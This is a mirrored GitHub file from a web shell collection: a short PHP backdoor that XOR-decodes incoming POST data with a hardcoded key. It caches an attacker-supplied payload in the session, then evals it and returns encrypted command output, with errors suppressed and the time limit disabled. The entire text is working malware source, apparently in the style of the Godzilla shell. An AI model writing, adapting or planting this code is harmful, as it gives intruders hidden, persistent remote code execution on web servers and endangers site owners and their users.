mirror of
https://github.com/tennc/webshell
synced 2024-11-25 20:50:18 +00:00
26 lines
631 B
PHP
26 lines
631 B
PHP
<?php
|
|
@session_start();
|
|
@set_time_limit(0);
|
|
@error_reporting(0);
|
|
function encode($D,$K){
|
|
for($i=0;$i<strlen($D);$i++) {
|
|
$c = $K[$i+1&15];
|
|
$D[$i] = $D[$i]^$c;
|
|
}
|
|
return $D;
|
|
}
|
|
$payloadName='payload';
|
|
$key='3c6e0b8a9c15224a';
|
|
$data=file_get_contents("php://input");
|
|
if ($data!==false){
|
|
$data=encode($data,$key);
|
|
if (isset($_SESSION[$payloadName])){
|
|
$payload=encode($_SESSION[$payloadName],$key);
|
|
eval($payload);
|
|
echo encode(@run($data),$key);
|
|
}else{
|
|
if (stripos($data,"getBasicsInfo")!==false){
|
|
$_SESSION[$payloadName]=encode($data,$key);
|
|
}
|
|
}
|
|
}
|